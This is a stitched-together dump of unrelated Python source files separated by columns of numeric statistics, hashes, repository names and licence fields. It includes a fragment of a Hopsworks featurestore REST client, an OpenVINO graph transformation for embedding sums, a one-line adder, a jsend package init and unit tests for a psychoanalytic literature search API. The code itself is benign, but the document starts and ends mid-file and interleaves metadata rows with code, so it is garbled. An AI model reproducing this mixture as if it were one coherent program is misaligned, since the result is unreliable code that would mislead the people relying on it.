resource_url, response.code, response.reason, error_code, error_msg, user_msg))
except: # for python 2
if (response.status != 200):
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not get the metadata of featuregroup (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
resource_url, response.status, response.reason, error_code, error_msg, user_msg))
return response_object
def _get_training_dataset_rest(training_dataset_id, featurestore_id):
"""
Makes a REST call to hopsworks for getting the metadata of a particular training dataset (including the statistics)
Args:
:training_dataset_id: id of the training_dataset
:featurestore_id: id of the featurestore where the training dataset resides
Returns:
The REST response
Raises:
:RestAPIError: if there was an error in the REST call to Hopsworks
"""
headers = {constants.HTTP_CONFIG.HTTP_CONTENT_TYPE: constants.HTTP_CONFIG.HTTP_APPLICATION_JSON}
method = constants.HTTP_CONFIG.HTTP_GET
connection = util._get_http_connection(https=True)
resource_url = (constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
util.project_id() + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATURESTORES_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
str(featurestore_id) +
constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_TRAININGDATASETS_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER
+ str(training_dataset_id))
response = util.send_request(connection, method, resource_url, headers=headers)
resp_body = response.read().decode('utf-8')
response_object = json.loads(resp_body)
try: # for python 3
if (response.code != 200):
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not get the metadata of featuregroup (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
resource_url, response.code, response.reason, error_code, error_msg, user_msg))
except: # for python 2
if (response.status != 200):
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not get the metadata of featuregroup (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
resource_url, response.status, response.reason, error_code, error_msg, user_msg))
return response_object
| 53.59009
| 119
| 0.646465
| 1,333
| 11,897
| 5.537884
| 0.084021
| 0.036575
| 0.056895
| 0.069087
| 0.888513
| 0.882959
| 0.871038
| 0.871038
| 0.851666
| 0.851666
| 0
| 0.005833
| 0.265109
| 11,897
| 221
| 120
| 53.832579
| 0.838499
| 0.140372
| 0
| 0.847222
| 0
| 0
| 0.153331
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.034722
| false
| 0
| 0.027778
| 0
| 0.097222
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c38276a3bd5d789bac0904bc4b9ee6be6b3f11c5
| 13,597
|
py
|
Python
|
model-optimizer/extensions/front/tf/embedding_segments_sum.py
|
monroid/openvino
|
8272b3857ef5be0aaa8abbf7bd0d5d5615dc40b6
|
[
"Apache-2.0"
] | 2,406
|
2020-04-22T15:47:54.000Z
|
2022-03-31T10:27:37.000Z
|
model-optimizer/extensions/front/tf/embedding_segments_sum.py
|
thomas-yanxin/openvino
|
031e998a15ec738c64cc2379d7f30fb73087c272
|
[
"Apache-2.0"
] | 4,948
|
2020-04-22T15:12:39.000Z
|
2022-03-31T18:45:42.000Z
|
model-optimizer/extensions/front/tf/embedding_segments_sum.py
|
thomas-yanxin/openvino
|
031e998a15ec738c64cc2379d7f30fb73087c272
|
[
"Apache-2.0"
] | 991
|
2020-04-23T18:21:09.000Z
|
2022-03-31T18:40:57.000Z
|
# Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import logging as log
import numpy as np
from extensions.ops.Cast import Cast
from extensions.ops.embedding_bag import EmbeddingSegmentsSum
from extensions.ops.split import Split
from mo.front.common.partial_infer.utils import int64_array
from mo.front.common.replacement import FrontReplacementSubgraph
from mo.front.tf.graph_utils import create_op_with_const_inputs
from mo.graph.graph import Graph, rename_nodes
from mo.ops.squeeze import Squeeze
class EmbeddingSegmentsSumFrontReplacer(FrontReplacementSubgraph):
"""
The transformation looks for pattern (sub-graph) that performs extraction of embedding vectors from the parameters table
for object feature values and sum up these embedding vectors for every object.
Such sub-graph is met in the Wide and Deep model in case of the SINGLE categorical feature.
"""
enabled = True
def pattern(self):
return dict(
nodes=[
('identity_spw', dict(op='Identity')),
('gather0_1', dict(type='Gather')),
('gather0_2', dict(type='Gather')),
('reshape0', dict(op='Reshape')),
('where0', dict(op='Where')),
('greaterequal0', dict(op='GreaterEqual')),
('sparse_fill_empty_rows', dict(op='SparseFillEmptyRows')),
('unique', dict(op='Unique')),
('strided_slice', dict(op='StridedSlice')),
('cast', dict(op='Cast')),
('gather', dict(type='Gather')),
('sparse_segment_sum', dict(op='SparseSegmentSum')),
('reshape', dict(op='Reshape')),
('tile', dict(type='Tile')),
('select', dict(op='Select'))
],
edges=[
('identity_spw', 'sparse_fill_empty_rows', {'out': 0, 'in': 2}),
('gather0_1', 'sparse_fill_empty_rows', {'out': 0, 'in': 0}),
('gather0_2', 'sparse_fill_empty_rows', {'out': 0, 'in': 1}),
('reshape0', 'gather0_1', {'out': 0, 'in': 1}),
('reshape0', 'gather0_2', {'out': 0, 'in': 1}),
('where0', 'reshape0', {'out': 0, 'in': 0}),
('greaterequal0', 'where0', {'out': 0, 'in': 0}),
('sparse_fill_empty_rows', 'unique', {'out': 1, 'in': 0}),
('sparse_fill_empty_rows', 'strided_slice', {'out': 0, 'in': 0}),
('sparse_fill_empty_rows', 'reshape', {'out': 2, 'in': 0}),
('unique', 'sparse_segment_sum', {'out': 1, 'in': 1}),
('unique', 'gather', {'out': 0, 'in': 1}),
('strided_slice', 'cast', {'out': 0, 'in': 0}),
('gather', 'sparse_segment_sum', {'out': 0, 'in': 0}),
('cast', 'sparse_segment_sum', {'out': 0, 'in': 2}),
('sparse_segment_sum', 'select', {'out': 0, 'in': 2}),
('reshape', 'tile', {'out': 0, 'in': 0}),
('tile', 'select', {'out': 0, 'in': 0})
])
def replace_sub_graph(self, graph: Graph, match: dict):
identity_spw = match['identity_spw']
gather0_1 = match['gather0_1']
gather0_2 = match['gather0_2']
greaterequal0 = match['greaterequal0']
sparse_fill_empty_rows = match['sparse_fill_empty_rows']
gather = match['gather']
select = match['select']
where0 = match['where0']
output_node_name = select.soft_get('name', select.id)
log.debug('Found EmbeddingSegmentsSum pattern after {} with name {}'.format(sparse_fill_empty_rows.op,
sparse_fill_empty_rows.name))
split_for_indices = create_op_with_const_inputs(graph, Split, {1: int64_array(1)}, {'num_splits': 2})
squeeze_for_indices = create_op_with_const_inputs(graph, Squeeze, {1: int64_array([1])})
split_for_dense_shape = create_op_with_const_inputs(graph, Split, {1: int64_array(0)}, {'num_splits': 2})
squeeze_to_scalar = create_op_with_const_inputs(graph, Squeeze, {1: int64_array([0])})
cast_segment_ids = Cast(graph, {'name': output_node_name + '/CastSegmentIds', 'dst_type': np.int32}).create_node()
cast_default_value = Cast(graph, {'name': output_node_name + '/CastDefaultValue', 'dst_type': np.int32}).create_node()
cast_num_segments = Cast(graph, {'name': output_node_name + '/CastSegmentsNumber', 'dst_type': np.int32}).create_node()
embedding_segments_sum = EmbeddingSegmentsSum(graph, {'name': output_node_name}).create_node()
rename_nodes([(select, output_node_name + '/AbandonedName'), (embedding_segments_sum, output_node_name)])
# connect parameters table
gather.in_port(0).get_connection().set_destination(embedding_segments_sum.in_port(0))
# connect indices values
greaterequal0.in_port(0).get_connection().set_destination(embedding_segments_sum.in_port(1))
# split and connect segment ids
gather0_1.in_port(0).get_connection().set_destination(split_for_indices.in_port(0))
squeeze_for_indices.in_port(0).connect(split_for_indices.out_port(0))
# TODO: remove casting once we start to support I64 model input
cast_segment_ids.in_port(0).connect(squeeze_for_indices.out_port(0))
embedding_segments_sum.in_port(2).connect(cast_segment_ids.out_port(0))
# split and connect number of segments
identity_spw.in_port(0).get_connection().set_destination(split_for_dense_shape.in_port(0))
squeeze_to_scalar.in_port(0).connect(split_for_dense_shape.out_port(0))
# TODO: remove casting once we start to support I64 model input
cast_num_segments.in_port(0).connect(squeeze_to_scalar.out_port(0))
embedding_segments_sum.in_port(3).connect(cast_num_segments.out_port(0))
# connect default value
# TODO: remove casting once we start to support I64 model input
sparse_fill_empty_rows.in_port(3).get_connection().set_destination(cast_default_value.in_port(0))
embedding_segments_sum.in_port(4).connect(cast_default_value.out_port(0))
# no input port for per_sample_weight
identity_spw.in_port(0).disconnect()
gather0_1.in_port(0).disconnect()
gather0_2.in_port(0).disconnect()
greaterequal0.in_port(0).disconnect()
sparse_fill_empty_rows.in_port(2).disconnect()
gather.in_port(0).disconnect()
select.out_port(0).get_connection().set_source(embedding_segments_sum.out_port(0))
graph.remove_nodes_from([gather0_1.id, gather0_2.id, greaterequal0.id, sparse_fill_empty_rows.id, select.id, where0.id])
class EmbeddingSegmentsSumFrontReplacer2(FrontReplacementSubgraph):
"""
The transformation looks for pattern (sub-graph) that performs extraction of embedding vectors from the parameters table
for object feature values and sum up these embedding vectors for every object.
Such sub-graph is met in the Wide and Deep model in case of MULTIPLE categorical features.
"""
enabled = True
def pattern(self):
return dict(
nodes=[
('identity_spw', dict(op='Identity')),
('gather0_1', dict(type='Gather')),
('gather0_2', dict(type='Gather')),
('reshape0', dict(op='Reshape')),
('where0', dict(op='Where')),
('greaterequal0', dict(op='GreaterEqual')),
('sparse_fill_empty_rows', dict(op='SparseFillEmptyRows')),
('unique', dict(op='Unique')),
('strided_slice', dict(op='StridedSlice')),
('cast', dict(op='Cast')),
('gather', dict(type='Gather')),
('identity', dict(op='Identity')),
('identity_1', dict(op='Identity')),
('sparse_segment_sum', dict(op='SparseSegmentSum')),
('reshape', dict(op='Reshape')),
('tile', dict(type='Tile')),
('select', dict(op='Select'))
],
edges=[
('identity_spw', 'sparse_fill_empty_rows', {'out': 0, 'in': 2}),
('gather0_1', 'sparse_fill_empty_rows', {'out': 0, 'in': 0}),
('gather0_2', 'sparse_fill_empty_rows', {'out': 0, 'in': 1}),
('reshape0', 'gather0_1', {'out': 0, 'in': 1}),
('reshape0', 'gather0_2', {'out': 0, 'in': 1}),
('where0', 'reshape0', {'out': 0, 'in': 0}),
('greaterequal0', 'where0', {'out': 0, 'in': 0}),
('sparse_fill_empty_rows', 'unique', {'out': 1, 'in': 0}),
('sparse_fill_empty_rows', 'strided_slice', {'out': 0, 'in': 0}),
('sparse_fill_empty_rows', 'reshape', {'out': 2, 'in': 0}),
('unique', 'sparse_segment_sum', {'out': 1, 'in': 1}),
('unique', 'gather', {'out': 0, 'in': 1}),
('strided_slice', 'cast', {'out': 0, 'in': 0}),
('gather', 'identity', {'out': 0, 'in': 0}),
('identity', 'identity_1', {'out': 0, 'in': 0}),
('identity_1', 'sparse_segment_sum', {'out': 0, 'in': 0}),
('cast', 'sparse_segment_sum', {'out': 0, 'in': 2}),
('sparse_segment_sum', 'select', {'out': 0, 'in': 2}),
('reshape', 'tile', {'out': 0, 'in': 0}),
('tile', 'select', {'out': 0, 'in': 0})
])
def replace_sub_graph(self, graph: Graph, match: dict):
identity_spw = match['identity_spw']
gather0_1 = match['gather0_1']
gather0_2 = match['gather0_2']
greaterequal0 = match['greaterequal0']
sparse_fill_empty_rows = match['sparse_fill_empty_rows']
gather = match['gather']
select = match['select']
where0 = match['where0']
output_node_name = select.soft_get('name', select.id)
log.debug('Found EmbeddingSegmentsSum2 pattern after {} with name {}'.format(sparse_fill_empty_rows.op,
sparse_fill_empty_rows.name))
split_for_indices = create_op_with_const_inputs(graph, Split, {1: int64_array(1)},
{'num_splits': 2,
'name': output_node_name + '/SplitForIndices'})
squeeze_for_indices = create_op_with_const_inputs(graph, Squeeze, {1: int64_array([1])})
split_for_dense_shape = create_op_with_const_inputs(graph, Split, {1: int64_array(0)},
{'num_splits': 2,
'name': output_node_name + '/SplitForDenseShape'})
squeeze_to_scalar = create_op_with_const_inputs(graph, Squeeze, {1: int64_array([0])})
cast_segment_ids = Cast(graph, {'name': output_node_name + '/CastSegmentIds', 'dst_type': np.int32}).create_node()
cast_default_value = Cast(graph, {'name': output_node_name + '/CastDefaultValue', 'dst_type': np.int32}).create_node()
cast_num_segments = Cast(graph, {'name': output_node_name + '/CastSegmentsNumber', 'dst_type': np.int32}).create_node()
embedding_segments_sum = EmbeddingSegmentsSum(graph, {'name': output_node_name}).create_node()
rename_nodes([(select, output_node_name + '/AbandonedName'), (embedding_segments_sum, output_node_name)])
# connect parameters table
gather.in_port(0).get_connection().set_destination(embedding_segments_sum.in_port(0))
# connect indices values
greaterequal0.in_port(0).get_connection().set_destination(embedding_segments_sum.in_port(1))
# split and connect segment ids
gather0_1.in_port(0).get_connection().set_destination(split_for_indices.in_port(0))
squeeze_for_indices.in_port(0).connect(split_for_indices.out_port(0))
# TODO: remove casting once we start to support I64 model input
cast_segment_ids.in_port(0).connect(squeeze_for_indices.out_port(0))
embedding_segments_sum.in_port(2).connect(cast_segment_ids.out_port(0))
# split and connect number of segments
identity_spw.in_port(0).get_connection().set_destination(split_for_dense_shape.in_port(0))
squeeze_to_scalar.in_port(0).connect(split_for_dense_shape.out_port(0))
# TODO: remove casting once we start to support I64 model input
cast_num_segments.in_port(0).connect(squeeze_to_scalar.out_port(0))
embedding_segments_sum.in_port(3).connect(cast_num_segments.out_port(0))
# connect default value
# TODO: remove casting once we start to support I64 model input
sparse_fill_empty_rows.in_port(3).get_connection().set_destination(cast_default_value.in_port(0))
embedding_segments_sum.in_port(4).connect(cast_default_value.out_port(0))
# no input port for per_sample_weight
identity_spw.in_port(0).disconnect()
gather0_1.in_port(0).disconnect()
gather0_2.in_port(0).disconnect()
greaterequal0.in_port(0).disconnect()
sparse_fill_empty_rows.in_port(2).disconnect()
gather.in_port(0).disconnect()
select.out_port(0).get_connection().set_source(embedding_segments_sum.out_port(0))
graph.remove_nodes_from([gather0_1.id, gather0_2.id, greaterequal0.id, sparse_fill_empty_rows.id, select.id, where0.id])
| 58.356223
| 128
| 0.608369
| 1,668
| 13,597
| 4.671463
| 0.101918
| 0.033368
| 0.030544
| 0.068275
| 0.911833
| 0.905031
| 0.905031
| 0.900411
| 0.900411
| 0.900411
| 0
| 0.03038
| 0.247113
| 13,597
| 232
| 129
| 58.607759
| 0.730781
| 0.101419
| 0
| 0.857143
| 0
| 0
| 0.178736
| 0.030695
| 0
| 0
| 0
| 0.008621
| 0
| 1
| 0.021978
| false
| 0
| 0.054945
| 0.010989
| 0.10989
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5ef9b59bf4489f43080c7d8460a37fe14bf7484a
| 37
|
py
|
Python
|
adder/adder_logic.py
|
meooow25/adder
|
2f0741a93d05fa8f28a15f221ea44e121c566d75
|
[
"MIT"
] | null | null | null |
adder/adder_logic.py
|
meooow25/adder
|
2f0741a93d05fa8f28a15f221ea44e121c566d75
|
[
"MIT"
] | 3
|
2018-10-21T04:08:48.000Z
|
2018-10-22T13:14:17.000Z
|
adder/adder_logic.py
|
meooow25/adder
|
2f0741a93d05fa8f28a15f221ea44e121c566d75
|
[
"MIT"
] | 1
|
2018-10-21T12:37:15.000Z
|
2018-10-21T12:37:15.000Z
|
def add(*args):
return sum(args)
| 12.333333
| 20
| 0.621622
| 6
| 37
| 3.833333
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.216216
| 37
| 2
| 21
| 18.5
| 0.793103
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
6f21e7a5ee187c07ddec6be9d79c1bbd04bb46c3
| 137
|
py
|
Python
|
jsend/__init__.py
|
bundle-registry/py-jsend
|
18f3e51a8db8c06ae994e8018beb30ef0f996cc9
|
[
"MIT"
] | 6
|
2015-07-13T01:57:41.000Z
|
2021-08-29T04:04:02.000Z
|
jsend/__init__.py
|
bundle-registry/py-jsend
|
18f3e51a8db8c06ae994e8018beb30ef0f996cc9
|
[
"MIT"
] | 3
|
2015-07-23T02:54:02.000Z
|
2020-06-09T01:41:27.000Z
|
jsend/__init__.py
|
bundle-registry/py-jsend
|
18f3e51a8db8c06ae994e8018beb30ef0f996cc9
|
[
"MIT"
] | 4
|
2015-07-16T13:04:54.000Z
|
2020-06-07T21:17:13.000Z
|
__author__ = 'zirony'
from .jsend import success, fail, error
from .jsend import is_success, is_fail, is_error
from .jsend import loads
| 22.833333
| 48
| 0.781022
| 21
| 137
| 4.761905
| 0.47619
| 0.27
| 0.45
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145985
| 137
| 5
| 49
| 27.4
| 0.854701
| 0
| 0
| 0
| 0
| 0
| 0.043796
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
48968634301d7ebb20f5dc776aa3ce08bb081f78
| 19,987
|
py
|
Python
|
app/tests/testDatabaseSearch.py
|
Psychoanalytic-Electronic-Publishing/OpenPubArchive-Content-Server
|
031b79b8e0dd5e1c22e2a51394cab846763a451a
|
[
"Apache-2.0"
] | null | null | null |
app/tests/testDatabaseSearch.py
|
Psychoanalytic-Electronic-Publishing/OpenPubArchive-Content-Server
|
031b79b8e0dd5e1c22e2a51394cab846763a451a
|
[
"Apache-2.0"
] | 115
|
2020-09-02T20:01:26.000Z
|
2022-03-30T11:47:23.000Z
|
app/tests/testDatabaseSearch.py
|
Psychoanalytic-Electronic-Publishing/OpenPubArchive-Content-Server
|
031b79b8e0dd5e1c22e2a51394cab846763a451a
|
[
"Apache-2.0"
] | 2
|
2020-10-15T13:52:10.000Z
|
2020-10-20T13:42:51.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#2020.0610 # Upgraded tests to v2; set up tests against AOP which seems to be discontinued and thus constant
import unittest
import requests
from unitTestConfig import base_plus_endpoint_encoded, headers
class TestDatabaseSearch(unittest.TestCase):
def test_database_search_volume_issue_fields(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=IJP&volume=(034S)&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 5)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=IJP&volume=34S&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 5)
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=IJP&volume=034&issue=S&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 5)
assert(r['documentList']['responseSet'][0]['issue'] == 'Supplement')
assert(r['documentList']['responseInfo']['fullCountComplete'] == True)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=FA&volume=001C&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 6)
assert(r['documentList']['responseSet'][0]['issue'] == '3')
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=FA&volume=001&issue=C&limit=10&offset=0')
response = requests.get(full_URL, headers=headers)
# Confirm that the request-response cycle completed successfully.
assert(response.ok == True)
r = response.json()
print (f"Count: {r['documentList']['responseInfo']['fullCount']} Count complete: {r['documentList']['responseInfo']['fullCountComplete']}")
assert(r['documentList']['responseInfo']['fullCount'] == 6)
assert(r['documentList']['responseSet'][0]['issue'] == '3')
def test_search_fulltext0(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?abstract=true&facetfields=art_year_int%2Cart_views_last12mos%2Cart_cited_5%2Cart_authors%2Cart_lang%2Cart_type%2Cart_sourcetype%2Cart_sourcetitleabbr%2Cglossary_group_terms%2Cart_kwds_str&facetlimit=15&facetmincount=1&formatrequested=XML&fulltext1=text%3A(%22anxiety+hysteria%22~25)&highlightlimit=5&limit=20&offset=0&sort=author&synonyms=false')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
kwiclist = r["documentList"]["responseSet"][0]["kwicList"]
assert(len(kwiclist) > 0)
assert(response_info["count"] >= 1)
print (response_set[0])
def test_search_fulltext1(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?fulltext1="military"')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
kwiclist = r["documentList"]["responseSet"][0]["kwicList"]
assert(len(kwiclist) > 0)
assert(response_info["count"] >= 1)
print (response_set[0])
def test_search_long_para(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=OPUS&fulltext1="physics science observations"~25&abstract=True')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 1)
print (response_set)
def test_search_long_para_alt_seems_to_show_solr_misses_one(self):
# This produces 0 results on the GVPi server; this result is correct though
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=AOP&fulltext1="physics%20science%20observations"~90&abstract=True')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 2) # should REALLY be 3. I confirmed all three papers above in test_search_long_para...
# not sure why we get 2 here, but set that way for now. TODO
print (response_set)
def test_0a_rank(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=AOP&fulltext1=cried&sort=rank desc&limit=15&offset=0')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True) # rank is accepted, same as score
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 47)
#print (response_set)
for n in response_set:
print (n["documentRef"])
# Confirm that the request-response cycle completed successfully.
def test_0b_parameter_error(self):
# bad boolean parameter
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?viewperiod=&fulltext1=cried&sort=rank&synonyms=WTF')
response = requests.get(full_URL, headers=headers)
assert(response.ok == False)
r = response.json()
def test_0b_good_language_code(self):
# bad boolean parameter
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?fulltext1=cried&sourcelangcode=en')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
def test_0b_bad_language_code(self):
# bad boolean parameter
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?viewperiod=&fulltext1=cried&sourcelangcode=e')
response = requests.get(full_URL, headers=headers)
assert(response.ok == False)
r = response.json()
def test_search_author_and_journalcode(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?author=Levin&sourcecode=AOP')
response = requests.get(full_URL, headers=headers)
r = response.json()
assert(response.ok == True)
# print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 12)
print (response_set[0])
def test_search_author_and_journalcode_and_text(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?author=Blum&sourcecode=AOP&fulltext1=transference')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
# print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 2)
print (response_set[0])
def test_search_author_and_journalcode_and_citecount(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?author=Bollas&sourcecode=AOP&citecount=1 IN 10')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["count"] == 2)
print (response_set[0])
def test_search_startyear(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&startyear=2015')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 20)
print (response_set[0])
# try it with parens as the client does
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&startyear=(2015)')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 20)
print (response_set[0])
def test_search_endyear(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&endyear=2011') # note: no volume in 2009-2011
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] >= 610)
print (response_set[0])
# try it with parens as the client does
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&endyear=(2011)') # note: no volume in 2009-2011
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] >= 610)
print (response_set[0])
def test_search_year_range1(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&startyear=1975&endyear=1976')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 42)
print (response_set[0])
def test_search_year_range2(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&startyear=1975&endyear=1975')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 21)
print (response_set[0])
def test_search_year_range3(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&startyear=1975&endyear=2020')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] >= 588)
print (response_set[0])
def test_search_title(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?sourcecode=aop&title=west')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
r = response.json()
print (r)
response_info = r["documentList"]["responseInfo"]
response_set = r["documentList"]["responseSet"]
assert(response_info["fullCount"] == 3)
print (response_set[0])
def test_video_list_search(self):
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?abstract=false&formatrequested=XML&limit=20&offset=0&source=PEPGRANTVS&sort=bibliographic&synonyms=false')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
# test return
r = response.json()
assert(r['documentList']['responseInfo']['count'] >= 10)
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?abstract=false&formatrequested=XML&limit=20&offset=0&smarttext=PEPGRANTVS.*.*&sort=bibliographic&synonyms=false')
response = requests.get(full_URL, headers=headers)
assert(response.ok == True)
# test return
r = response.json()
assert(r['documentList']['responseInfo']['count'] >= 10)
# test longest (current) sourcecode
full_URL = base_plus_endpoint_encoded('/v2/Database/Search/?abstract=false&formatrequested=XML&limit=20&offset=0&smarttext=PEPTOPAUTHVS.*.*&sort=bibliographic&synonyms=false')
